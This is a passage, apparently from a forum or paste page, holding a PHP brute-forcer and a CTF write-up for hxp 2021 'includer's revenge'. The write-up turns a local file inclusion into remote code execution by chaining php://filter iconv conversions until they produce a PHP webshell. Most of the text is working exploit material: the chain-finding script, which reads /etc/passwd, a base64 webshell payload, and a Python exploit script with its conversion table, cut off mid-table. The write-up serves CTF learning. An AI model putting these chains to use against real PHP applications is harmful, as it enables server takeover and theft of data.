    $convs = array('437', '500', '500V1', '850', '851', '852', '855', '856', '857', '858', '860', '861', '862', '863', '864', '865', '866', '866NAV', '869', '874', '904', '1026', '1046', '1047', '8859_1', '8859_2', '8859_3', '8859_4', '8859_5', '8859_6', '8859_7', '8859_8', '8859_9', '10646-1:1993', '10646-1:1993/UCS4', 'ANSI_X3.4-1968', 'ANSI_X3.4-1986', 'ANSI_X3.4', 'ANSI_X3.110-1983', 'ANSI_X3.110', 'ARABIC', 'ARABIC7', 'ARMSCII-8', 'ARMSCII8', 'ASCII', 'ASMO-708', 'ASMO_449', 'BALTIC', 'BIG-5', 'BIG-FIVE', 'BIG5-HKSCS', 'BIG5', 'BIG5HKSCS', 'BIGFIVE', 'BRF', 'BS_4730', 'CA', 'CN-BIG5', 'CN-GB', 'CN', 'CP-AR', 'CP-GR', 'CP-HU', 'CP037', 'CP038', 'CP273', 'CP274', 'CP275', 'CP278', 'CP280', 'CP281', 'CP282', 'CP284', 'CP285', 'CP290', 'CP297', 'CP367', 'CP420', 'CP423', 'CP424', 'CP437', 'CP500', 'CP737', 'CP770', 'CP771', 'CP772', 'CP773', 'CP774', 'CP775', 'CP803', 'CP813', 'CP819', 'CP850', 'CP851', 'CP852', 'CP855', 'CP856', 'CP857', 'CP858', 'CP860', 'CP861', 'CP862', 'CP863', 'CP864', 'CP865', 'CP866', 'CP866NAV', 'CP868', 'CP869', 'CP870', 'CP871', 'CP874', 'CP875', 'CP880', 'CP891', 'CP901', 'CP902', 'CP903', 'CP904', 'CP905', 'CP912', 'CP915', 'CP916', 'CP918', 'CP920', 'CP921', 'CP922', 'CP930', 'CP932', 'CP933', 'CP935', 'CP936', 'CP937', 'CP939', 'CP949', 'CP950', 'CP1004', 'CP1008', 'CP1025', 'CP1026', 'CP1046', 'CP1047', 'CP1070', 'CP1079', 'CP1081', 'CP1084', 'CP1089', 'CP1097', 'CP1112', 'CP1122', 'CP1123', 'CP1124', 'CP1125', 'CP1129', 'CP1130', 'CP1132', 'CP1133', 'CP1137', 'CP1140', 'CP1141', 'CP1142', 'CP1143', 'CP1144', 'CP1145', 'CP1146', 'CP1147', 'CP1148', 'CP1149', 'CP1153', 'CP1154', 'CP1155', 'CP1156', 'CP1157', 'CP1158', 'CP1160', 'CP1161', 'CP1162', 'CP1163', 'CP1164', 'CP1166', 'CP1167', 'CP1250', 'CP1251', 'CP1252', 'CP1253', 'CP1254', 'CP1255', 'CP1256', 'CP1257', 'CP1258', 'CP1282', 'CP1361', 'CP1364', 'CP1371', 'CP1388', 'CP1390', 'CP1399', 'CP4517', 'CP4899', 'CP4909', 'CP4971', 'CP5347', 'CP9030', 'CP9066', 'CP9448', 'CP10007', 'CP12712', 'CP16804', 'CPIBM861', 'CSA7-1', 'CSA7-2', 'CSASCII', 'CSA_T500-1983', 'CSA_T500', 'CSA_Z243.4-1985-1', 'CSA_Z243.4-1985-2', 'CSA_Z243.419851', 'CSA_Z243.419852', 'CSDECMCS', 'CSEBCDICATDE', 'CSEBCDICATDEA', 'CSEBCDICCAFR', 'CSEBCDICDKNO', 'CSEBCDICDKNOA', 'CSEBCDICES', 'CSEBCDICESA', 'CSEBCDICESS', 'CSEBCDICFISE', 'CSEBCDICFISEA', 'CSEBCDICFR', 'CSEBCDICIT', 'CSEBCDICPT', 'CSEBCDICUK', 'CSEBCDICUS', 'CSEUCKR', 'CSEUCPKDFMTJAPANESE', 'CSGB2312', 'CSHPROMAN8', 'CSIBM037', 'CSIBM038', 'CSIBM273', 'CSIBM274', 'CSIBM275', 'CSIBM277', 'CSIBM278', 'CSIBM280', 'CSIBM281', 'CSIBM284', 'CSIBM285', 'CSIBM290', 'CSIBM297', 'CSIBM420', 'CSIBM423', 'CSIBM424', 'CSIBM500', 'CSIBM803', 'CSIBM851', 'CSIBM855', 'CSIBM856', 'CSIBM857', 'CSIBM860', 'CSIBM863', 'CSIBM864', 'CSIBM865', 'CSIBM866', 'CSIBM868', 'CSIBM869', 'CSIBM870', 'CSIBM871', 'CSIBM880', 'CSIBM891', 'CSIBM901', 'CSIBM902', 'CSIBM903', 'CSIBM904', 'CSIBM905', 'CSIBM918', 'CSIBM921', 'CSIBM922', 'CSIBM930', 'CSIBM932', 'CSIBM933', 'CSIBM935', 'CSIBM937', 'CSIBM939', 'CSIBM943', 'CSIBM1008', 'CSIBM1025', 'CSIBM1026', 'CSIBM1097', 'CSIBM1112', 'CSIBM1122', 'CSIBM1123', 'CSIBM1124', 'CSIBM1129', 'CSIBM1130', 'CSIBM1132', 'CSIBM1133', 'CSIBM1137', 'CSIBM1140', 'CSIBM1141', 'CSIBM1142', 'CSIBM1143', 'CSIBM1144', 'CSIBM1145', 'CSIBM1146', 'CSIBM1147', 'CSIBM1148', 'CSIBM1149', 'CSIBM1153', 'CSIBM1154', 'CSIBM1155', 'CSIBM1156', 'CSIBM1157', 'CSIBM1158', 'CSIBM1160', 'CSIBM1161', 'CSIBM1163', 'CSIBM1164', 'CSIBM1166', 'CSIBM1167', 'CSIBM1364', 'CSIBM1371', 'CSIBM1388', 'CSIBM1390', 'CSIBM1399', 'CSIBM4517', 'CSIBM4899', 'CSIBM4909', 'CSIBM4971', 'CSIBM5347', 'CSIBM9030', 'CSIBM9066', 'CSIBM9448', 'CSIBM12712', 'CSIBM16804', 'CSIBM11621162', 'CSISO4UNITEDKINGDOM', 'CSISO10SWEDISH', 'CSISO11SWEDISHFORNAMES', 'CSISO14JISC6220RO', 'CSISO15ITALIAN', 'CSISO16PORTUGESE', 'CSISO17SPANISH', 'CSISO18GREEK7OLD', 'CSISO19LATINGREEK', 'CSISO21GERMAN', 'CSISO25FRENCH', 'CSISO27LATINGREEK1', 'CSISO49INIS', 'CSISO50INIS8', 'CSISO51INISCYRILLIC', 'CSISO58GB1988', 'CSISO60DANISHNORWEGIAN', 'CSISO60NORWEGIAN1', 'CSISO61NORWEGIAN2', 'CSISO69FRENCH', 'CSISO84PORTUGUESE2', 'CSISO85SPANISH2', 'CSISO86HUNGARIAN', 'CSISO88GREEK7', 'CSISO89ASMO449', 'CSISO90', 'CSISO92JISC62991984B', 'CSISO99NAPLPS', 'CSISO103T618BIT', 'CSISO111ECMACYRILLIC', 'CSISO121CANADIAN1', 'CSISO122CANADIAN2', 'CSISO139CSN369103', 'CSISO141JUSIB1002', 'CSISO143IECP271', 'CSISO150', 'CSISO150GREEKCCITT', 'CSISO151CUBA', 'CSISO153GOST1976874', 'CSISO646DANISH', 'CSISO2022CN', 'CSISO2022JP', 'CSISO2022JP2', 'CSISO2022KR', 'CSISO2033', 'CSISO5427CYRILLIC', 'CSISO5427CYRILLIC1981', 'CSISO5428GREEK', 'CSISO10367BOX', 'CSISOLATIN1', 'CSISOLATIN2', 'CSISOLATIN3', 'CSISOLATIN4', 'CSISOLATIN5', 'CSISOLATIN6', 'CSISOLATINARABIC', 'CSISOLATINCYRILLIC', 'CSISOLATINGREEK', 'CSISOLATINHEBREW', 'CSKOI8R', 'CSKSC5636', 'CSMACINTOSH', 'CSNATSDANO', 'CSNATSSEFI', 'CSN_369103', 'CSPC8CODEPAGE437', 'CSPC775BALTIC', 'CSPC850MULTILINGUAL', 'CSPC858MULTILINGUAL', 'CSPC862LATINHEBREW', 'CSPCP852', 'CSSHIFTJIS', 'CSUCS4', 'CSUNICODE', 'CSWINDOWS31J', 'CUBA', 'CWI-2', 'CWI', 'CYRILLIC', 'DE', 'DEC-MCS', 'DEC', 'DECMCS', 'DIN_66003', 'DK', 'DS2089', 'DS_2089', 'E13B', 'EBCDIC-AT-DE-A', 'EBCDIC-AT-DE', 'EBCDIC-BE', 'EBCDIC-BR', 'EBCDIC-CA-FR', 'EBCDIC-CP-AR1', 'EBCDIC-CP-AR2', 'EBCDIC-CP-BE', 'EBCDIC-CP-CA', 'EBCDIC-CP-CH', 'EBCDIC-CP-DK', 'EBCDIC-CP-ES', 'EBCDIC-CP-FI', 'EBCDIC-CP-FR', 'EBCDIC-CP-GB', 'EBCDIC-CP-GR', 'EBCDIC-CP-HE', 'EBCDIC-CP-IS', 'EBCDIC-CP-IT', 'EBCDIC-CP-NL', 'EBCDIC-CP-NO', 'EBCDIC-CP-ROECE', 'EBCDIC-CP-SE', 'EBCDIC-CP-TR', 'EBCDIC-CP-US', 'EBCDIC-CP-WT', 'EBCDIC-CP-YU', 'EBCDIC-CYRILLIC', 'EBCDIC-DK-NO-A', 'EBCDIC-DK-NO', 'EBCDIC-ES-A', 'EBCDIC-ES-S', 'EBCDIC-ES', 'EBCDIC-FI-SE-A', 'EBCDIC-FI-SE', 'EBCDIC-FR', 'EBCDIC-GREEK', 'EBCDIC-INT', 'EBCDIC-INT1', 'EBCDIC-IS-FRISS', 'EBCDIC-IT', 'EBCDIC-JP-E', 'EBCDIC-JP-KANA', 'EBCDIC-PT', 'EBCDIC-UK', 'EBCDIC-US', 'EBCDICATDE', 'EBCDICATDEA', 'EBCDICCAFR', 'EBCDICDKNO', 'EBCDICDKNOA', 'EBCDICES', 'EBCDICESA', 'EBCDICESS', 'EBCDICFISE', 'EBCDICFISEA', 'EBCDICFR', 'EBCDICISFRISS', 'EBCDICIT', 'EBCDICPT', 'EBCDICUK', 'EBCDICUS', 'ECMA-114', 'ECMA-118', 'ECMA-128', 'ECMA-CYRILLIC', 'ECMACYRILLIC', 'ELOT_928', 'ES', 'ES2', 'EUC-CN', 'EUC-JISX0213', 'EUC-JP-MS', 'EUC-JP', 'EUC-KR', 'EUC-TW', 'EUCCN', 'EUCJP-MS', 'EUCJP-OPEN', 'EUCJP-WIN', 'EUCJP', 'EUCKR', 'EUCTW', 'FI', 'FR', 'GB', 'GB2312', 'GB13000', 'GB18030', 'GBK', 'GB_1988-80', 'GB_198880', 'GEORGIAN-ACADEMY', 'GEORGIAN-PS', 'GOST_19768-74', 'GOST_19768', 'GOST_1976874', 'GREEK-CCITT', 'GREEK', 'GREEK7-OLD', 'GREEK7', 'GREEK7OLD', 'GREEK8', 'GREEKCCITT', 'HEBREW', 'HP-GREEK8', 'HP-ROMAN8', 'HP-ROMAN9', 'HP-THAI8', 'HP-TURKISH8', 'HPGREEK8', 'HPROMAN8', 'HPROMAN9', 'HPTHAI8', 'HPTURKISH8', 'HU', 'IBM-803', 'IBM-856', 'IBM-901', 'IBM-902', 'IBM-921', 'IBM-922', 'IBM-930', 'IBM-932', 'IBM-933', 'IBM-935', 'IBM-937', 'IBM-939', 'IBM-943', 'IBM-1008', 'IBM-1025', 'IBM-1046', 'IBM-1047', 'IBM-1097', 'IBM-1112', 'IBM-1122', 'IBM-1123', 'IBM-1124', 'IBM-1129', 'IBM-1130', 'IBM-1132', 'IBM-1133', 'IBM-1137', 'IBM-1140', 'IBM-1141', 'IBM-1142', 'IBM-1143', 'IBM-1144', 'IBM-1145', 'IBM-1146', 'IBM-1147', 'IBM-1148', 'IBM-1149', 'IBM-1153', 'IBM-1154', 'IBM-1155', 'IBM-1156', 'IBM-1157', 'IBM-1158', 'IBM-1160', 'IBM-1161', 'IBM-1162', 'IBM-1163', 'IBM-1164', 'IBM-1166', 'IBM-1167', 'IBM-1364', 'IBM-1371', 'IBM-1388', 'IBM-1390', 'IBM-1399', 'IBM-4517', 'IBM-4899', 'IBM-4909', 'IBM-4971', 'IBM-5347', 'IBM-9030', 'IBM-9066', 'IBM-9448', 'IBM-12712', 'IBM-16804', 'IBM037', 'IBM038', 'IBM256', 'IBM273', 'IBM274', 'IBM275', 'IBM277', 'IBM278', 'IBM280', 'IBM281', 'IBM284', 'IBM285', 'IBM290', 'IBM297', 'IBM367', 'IBM420', 'IBM423', 'IBM424', 'IBM437', 'IBM500', 'IBM775', 'IBM803', 'IBM813', 'IBM819', 'IBM848', 'IBM850', 'IBM851', 'IBM852', 'IBM855', 'IBM856', 'IBM857', 'IBM858', 'IBM860', 'IBM861', 'IBM862', 'IBM863', 'IBM864', 'IBM865', 'IBM866', 'IBM866NAV', 'IBM868', 'IBM869', 'IBM870', 'IBM871', 'IBM874', 'IBM875', 'IBM880', 'IBM891', 'IBM901', 'IBM902', 'IBM903', 'IBM904', 'IBM905', 'IBM912', 'IBM915', 'IBM916', 'IBM918', 'IBM920', 'IBM921', 'IBM922', 'IBM930', 'IBM932', 'IBM933', 'IBM935', 'IBM937', 'IBM939', 'IBM943', 'IBM1004', 'IBM1008', 'IBM1025', 'IBM1026', 'IBM1046', 'IBM1047', 'IBM1089', 'IBM1097', 'IBM1112', 'IBM1122', 'IBM1123', 'IBM1124', 'IBM1129', 'IBM1130', 'IBM1132', 'IBM1133', 'IBM1137', 'IBM1140', 'IBM1141', 'IBM1142', 'IBM1143', 'IBM1144', 'IBM1145', 'IBM1146', 'IBM1147', 'IBM1148', 'IBM1149', 'IBM1153', 'IBM1154', 'IBM1155', 'IBM1156', 'IBM1157', 'IBM1158', 'IBM1160', 'IBM1161', 'IBM1162', 'IBM1163', 'IBM1164', 'IBM1166', 'IBM1167', 'IBM1364', 'IBM1371', 'IBM1388', 'IBM1390', 'IBM1399', 'IBM4517', 'IBM4899', 'IBM4909', 'IBM4971', 'IBM5347', 'IBM9030', 'IBM9066', 'IBM9448', 'IBM12712', 'IBM16804', 'IEC_P27-1', 'IEC_P271', 'INIS-8', 'INIS-CYRILLIC', 'INIS', 'INIS8', 'INISCYRILLIC', 'ISIRI-3342', 'ISIRI3342', 'ISO-2022-CN-EXT', 'ISO-2022-CN', 'ISO-2022-JP-2', 'ISO-2022-JP-3', 'ISO-2022-JP', 'ISO-2022-KR', 'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4', 'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8', 'ISO-8859-9', 'ISO-8859-9E', 'ISO-8859-10', 'ISO-8859-11', 'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16', 'ISO-10646', 'ISO-10646/UCS2', 'ISO-10646/UCS4', 'ISO-10646/UTF-8', 'ISO-10646/UTF8', 'ISO-CELTIC', 'ISO-IR-4', 'ISO-IR-6', 'ISO-IR-8-1', 'ISO-IR-9-1', 'ISO-IR-10', 'ISO-IR-11', 'ISO-IR-14', 'ISO-IR-15', 'ISO-IR-16', 'ISO-IR-17', 'ISO-IR-18', 'ISO-IR-19', 'ISO-IR-21', 'ISO-IR-25', 'ISO-IR-27', 'ISO-IR-37', 'ISO-IR-49', 'ISO-IR-50', 'ISO-IR-51', 'ISO-IR-54', 'ISO-IR-55', 'ISO-IR-57', 'ISO-IR-60', 'ISO-IR-61', 'ISO-IR-69', 'ISO-IR-84', 'ISO-IR-85', 'ISO-IR-86', 'ISO-IR-88', 'ISO-IR-89', 'ISO-IR-90', 'ISO-IR-92', 'ISO-IR-98', 'ISO-IR-99', 'ISO-IR-100', 'ISO-IR-101', 'ISO-IR-103', 'ISO-IR-109', 'ISO-IR-110', 'ISO-IR-111', 'ISO-IR-121', 'ISO-IR-122', 'ISO-IR-126', 'ISO-IR-127', 'ISO-IR-138', 'ISO-IR-139', 'ISO-IR-141', 'ISO-IR-143', 'ISO-IR-144', 'ISO-IR-148', 'ISO-IR-150', 'ISO-IR-151', 'ISO-IR-153', 'ISO-IR-155', 'ISO-IR-156', 'ISO-IR-157', 'ISO-IR-166', 'ISO-IR-179', 'ISO-IR-193', 'ISO-IR-197', 'ISO-IR-199', 'ISO-IR-203', 'ISO-IR-209', 'ISO-IR-226', 'ISO/TR_11548-1', 'ISO646-CA', 'ISO646-CA2', 'ISO646-CN', 'ISO646-CU', 'ISO646-DE', 'ISO646-DK', 'ISO646-ES', 'ISO646-ES2', 'ISO646-FI', 'ISO646-FR', 'ISO646-FR1', 'ISO646-GB', 'ISO646-HU', 'ISO646-IT', 'ISO646-JP-OCR-B', 'ISO646-JP', 'ISO646-KR', 'ISO646-NO', 'ISO646-NO2', 'ISO646-PT', 'ISO646-PT2', 'ISO646-SE', 'ISO646-SE2', 'ISO646-US', 'ISO646-YU', 'ISO2022CN', 'ISO2022CNEXT', 'ISO2022JP', 'ISO2022JP2', 'ISO2022KR', 'ISO6937', 'ISO8859-1', 'ISO8859-2', 'ISO8859-3', 'ISO8859-4', 'ISO8859-5', 'ISO8859-6', 'ISO8859-7', 'ISO8859-8', 'ISO8859-9', 'ISO8859-9E', 'ISO8859-10', 'ISO8859-11', 'ISO8859-13', 'ISO8859-14', 'ISO8859-15', 'ISO8859-16', 'ISO11548-1', 'ISO88591', 'ISO88592', 'ISO88593', 'ISO88594', 'ISO88595', 'ISO88596', 'ISO88597', 'ISO88598', 'ISO88599', 'ISO88599E', 'ISO885910', 'ISO885911', 'ISO885913', 'ISO885914', 'ISO885915', 'ISO885916', 'ISO_646.IRV:1991', 'ISO_2033-1983', 'ISO_2033', 'ISO_5427-EXT', 'ISO_5427', 'ISO_5427:1981', 'ISO_5427EXT', 'ISO_5428', 'ISO_5428:1980', 'ISO_6937-2', 'ISO_6937-2:1983', 'ISO_6937', 'ISO_6937:1992', 'ISO_8859-1', 'ISO_8859-1:1987', 'ISO_8859-2', 'ISO_8859-2:1987', 'ISO_8859-3', 'ISO_8859-3:1988', 'ISO_8859-4', 'ISO_8859-4:1988', 'ISO_8859-5', 'ISO_8859-5:1988', 'ISO_8859-6', 'ISO_8859-6:1987', 'ISO_8859-7', 'ISO_8859-7:1987', 'ISO_8859-7:2003', 'ISO_8859-8', 'ISO_8859-8:1988', 'ISO_8859-9', 'ISO_8859-9:1989', 'ISO_8859-9E', 'ISO_8859-10', 'ISO_8859-10:1992', 'ISO_8859-14', 'ISO_8859-14:1998', 'ISO_8859-15', 'ISO_8859-15:1998', 'ISO_8859-16', 'ISO_8859-16:2001', 'ISO_9036', 'ISO_10367-BOX', 'ISO_10367BOX', 'ISO_11548-1', 'ISO_69372', 'IT', 'JIS_C6220-1969-RO', 'JIS_C6229-1984-B', 'JIS_C62201969RO', 'JIS_C62291984B', 'JOHAB', 'JP-OCR-B', 'JP', 'JS', 'JUS_I.B1.002', 'KOI-7', 'KOI-8', 'KOI8-R', 'KOI8-RU', 'KOI8-T', 'KOI8-U', 'KOI8', 'KOI8R', 'KOI8U', 'KSC5636', 'L1', 'L2', 'L3', 'L4', 'L5', 'L6', 'L7', 'L8', 'L10', 'LATIN-9', 'LATIN-GREEK-1', 'LATIN-GREEK', 'LATIN1', 'LATIN2', 'LATIN3', 'LATIN4', 'LATIN5', 'LATIN6', 'LATIN7', 'LATIN8', 'LATIN9', 'LATIN10', 'LATINGREEK', 'LATINGREEK1', 'MAC-CENTRALEUROPE', 'MAC-CYRILLIC', 'MAC-IS', 'MAC-SAMI', 'MAC-UK', 'MAC', 'MACCYRILLIC', 'MACINTOSH', 'MACIS', 'MACUK', 'MACUKRAINIAN', 'MIK', 'MS-ANSI', 'MS-ARAB', 'MS-CYRL', 'MS-EE', 'MS-GREEK', 'MS-HEBR', 'MS-MAC-CYRILLIC', 'MS-TURK', 'MS932', 'MS936', 'MSCP949', 'MSCP1361', 'MSMACCYRILLIC', 'MSZ_7795.3', 'MS_KANJI', 'NAPLPS', 'NATS-DANO', 'NATS-SEFI', 'NATSDANO', 'NATSSEFI', 'NC_NC0010', 'NC_NC00-10', 'NC_NC00-10:81', 'NF_Z_62-010', 'NF_Z_62-010_(1973)', 'NF_Z_62-010_1973', 'NF_Z_62010', 'NF_Z_62010_1973', 'NO', 'NO2', 'NS_4551-1', 'NS_4551-2', 'NS_45511', 'NS_45512', 'OS2LATIN1', 'OSF00010001', 'OSF00010002', 'OSF00010003', 'OSF00010004', 'OSF00010005', 'OSF00010006', 'OSF00010007', 'OSF00010008', 'OSF00010009', 'OSF0001000A', 'OSF00010020', 'OSF00010100', 'OSF00010101', 'OSF00010102', 'OSF00010104', 'OSF00010105', 'OSF00010106', 'OSF00030010', 'OSF0004000A', 'OSF0005000A', 'OSF05010001', 'OSF100201A4', 'OSF100201A8', 'OSF100201B5', 'OSF100201F4', 'OSF100203B5', 'OSF1002011C', 'OSF1002011D', 'OSF1002035D', 'OSF1002035E', 'OSF1002035F', 'OSF1002036B', 'OSF1002037B', 'OSF10010001', 'OSF10010004', 'OSF10010006', 'OSF10020025', 'OSF10020111', 'OSF10020115', 'OSF10020116', 'OSF10020118', 'OSF10020122', 'OSF10020129', 'OSF10020352', 'OSF10020354', 'OSF10020357', 'OSF10020359', 'OSF10020360', 'OSF10020364', 'OSF10020365', 'OSF10020366', 'OSF10020367', 'OSF10020370', 'OSF10020387', 'OSF10020388', 'OSF10020396', 'OSF10020402', 'OSF10020417', 'PT', 'PT2', 'PT154', 'R8', 'R9', 'RK1048', 'ROMAN8', 'ROMAN9', 'RUSCII', 'SE', 'SE2', 'SEN_850200_B', 'SEN_850200_C', 'SHIFT-JIS', 'SHIFTJISX0213', 'SHIFT_JIS', 'SHIFT_JISX0213', 'SJIS-OPEN', 'SJIS-WIN', 'SJIS', 'SS636127', 'STRK1048-2002', 'ST_SEV_358-88', 'T.61-8BIT', 'T.61', 'T.618BIT', 'TCVN-5712', 'TCVN', 'TCVN5712-1', 'TCVN5712-1:1993', 'THAI8', 'TIS-620', 'TIS620-0', 'TIS620.2529-1', 'TIS620.2533-0', 'TIS620', 'TS-5881', 'TSCII', 'TURKISH8', 'UCS-2', 'UCS-2BE', 'UCS-2LE', 'UCS-4', 'UCS-4BE', 'UCS-4LE', 'UCS2', 'UCS4', 'UHC', 'UJIS', 'UK', 'UNICODE', 'UNICODEBIG', 'UNICODELITTLE', 'US-ASCII', 'US', 'UTF-7', 'UTF-8', 'UTF-16', 'UTF-16BE', 'UTF-16LE', 'UTF-32', 'UTF-32BE', 'UTF-32LE', 'UTF7', 'UTF8', 'UTF16', 'UTF16BE', 'UTF16LE', 'UTF32', 'UTF32BE', 'UTF32LE', 'VISCII', 'WCHAR_T', 'WIN-SAMI-2', 'WINBALTRIM', 'WINDOWS-31J', 'WINDOWS-874', 'WINDOWS-936', 'WINDOWS-1250', 'WINDOWS-1251', 'WINDOWS-1252', 'WINDOWS-1253', 'WINDOWS-1254', 'WINDOWS-1255', 'WINDOWS-1256', 'WINDOWS-1257', 'WINDOWS-1258', 'WINSAMI2', 'WS2', 'YU');
    
    $init = " ";
    $known = array();
    
    
    function get_tranform($val, $convs){
        foreach($convs as $conv){
            $val = @iconv($conv[0], $conv[1], $val);
        }
        return $val;
    }
    
    
    function test_value($val, $convs){
        global $known;
    
        $cleaned = preg_replace('/[^a-zA-Z0-9=\+]/', '', $val);
     
        if (strlen($cleaned) == 1 && ! in_array($cleaned, $known)){
            $re_check = get_tranform("r", $convs);
            $cleaned2 = preg_replace('/[^a-zA-Z0-9=\+]/', '', $re_check);
            if ($cleaned2 === $cleaned){
    
                $conv_str = "";
                foreach($convs as $conv){
                    $conv_str .= "convert.iconv.".$conv[0].".".$conv[1]."|";
                }
                $conv_str = substr_replace($conv_str ,"", -1);
    
                $value = @file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|$conv_str|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=/etc/passwd");
    
                if (strlen($value) > 0) {
                    echo "Combination found for letter $cleaned: ";
                    array_push($known, $cleaned);
                    echo "$conv_str\n";
     
                    if (count($known) == 64){
                        echo "All found\n";
                        exit(0);
                    }
                }
            }
        }
    }
    
    function find_vals($init_val) {
        global $convs;
    
        $convs_used = array();
        $current_val = iconv("UTF8", "CSISO2022KR", $init_val);
        array_push($convs_used, array("UTF8", "CSISO2022KR"));
    
        $current_val2 = "";
     
        for ($c = 0; $c < 5; $c++){
            $conv1 = $convs[array_rand($convs, 1)];
            $conv2 = $convs[array_rand($convs, 1)];
    
            if ($conv1 === $conv2){
                continue;
            }
    
            $new_conv = array($conv1, $conv2);
            array_push($convs_used, $new_conv);
    
            $current_val2 = get_tranform($current_val, array($new_conv));
    
            if ($current_val === $current_val2){
                continue;
            }
     
            $current_val = $current_val2;
            test_value($current_val, $convs_used);
        }
      }
    
      while(true){
        find_vals($init);
    }
    ?>
    
    Code:
    # Solving "includer's revenge" from hxp ctf 2021 without controlling any files
    # The challenge
    The challenge was to achieve RCE with this file:
    ```php
    <?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');
    ```
    Some additional hardening was applied to the php installation to make sure that previously known solutions wouldn't work (for further information read [this writeup from the challenge author](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)).
    
    I didn't solve the challenge during the competition - [here is a writeup from someone who did](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/) - but since the idea I had differed from the techniques used in the published writeups I read (and I thought it was cool :D), here is my approach.
    
    ## The rough Idea
    
    During the competition I read [this blogpost from gynvael](https://gynvael.coldwind.pl/?id=671) where he bypassed a filter using the `convert.iconv` functionality of `php://filter/` and wondered
    if that trick could be used to generate a php backdoor ... turns out it can be used for that :D
    
    There are probably different/better solutions that take a similar approach, but here
    is what I came up with after spending quite some time thinking about this:
    
    
    After playing around a little, I noticed two interesting things:
       - `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
       - `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64.
    
    Using these we can do the following:
    1. prepend `\x1b$)C` to our string as described above
    2. apply some chain of iconv conversions that leaves our initial base64 intact
    and converts the part we just prepended to some string where the only valid
    base64 char is the next part of our base64-encoded php code
    3. base64-decode and base64-encode the string which will remove any garbage in between
    4. Go back to 1 if the base64 we want to construct isn't finished yet
    5. base64-decode to get our php code
    
    ## Getting the filter chains for step 2
     I pretty much got these by just bruteforcing one conversion step at a time, looking at the results
     and then choosing interesting results from which to continue.
     (Considering the amount of time this cost me it probably would've been better to automate this entirely )
     While bruteforcing I had to try all the aliases from `iconv -l` since somehow none of the iconv versions I found
     online seemed to match in terms of alias names.
    
    ## Some problems I encountered
     - Pretty much the only condition I encountered where the convert.base64-decode filter would fail is if it encounters an equal sign when it didn't expect one, luckily we can again use iconv and convert from UTF8 to UTF7 which will turn any equal signs in the string into some base64.
    -  If we base64-decode a string that doesn't have 4*n characters then the result
     won't fit into whole bytes. The `convert.base64-decode` implementation deals with
     this by just ignoring the last bits until the result is a multiple of 8 bits again.
     This means that until we arrive at our desired base64  we will lose some bytes at the end of our string. This isn't an issue if we read from a file like `/etc/passwd` but we can just generate some garbage base64 before beginning to make sure that this will work even if the file is empty.
    
    ## Getting the flag
    Now that we have our string of filters that will generate our backdoor getting the flag is as easy as
    ```python
    r = requests.get(challenge_url, params={
       "0": "/readflag",
       "action": "include",
       "file": f"php://filter/{filters}/resource={any_file_we_can_read}"
    })
    print(r.text)
    ```
    # Full script
    ```python
    import requests
    
    url = "http://localhost/index.php"
    file_to_use = "/etc/passwd"
    command = "/readflag"
    
    #<?=`$_GET[0]`;;?>
    base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
    
    conversions = {
       'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
       'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
       'C': 'convert.iconv.UTF8.CSISO2022KR',
       '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
       '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
       'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
       's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
       'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
       'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
       'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
       'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
       '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
       'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
       'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
       'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
       'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
       '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
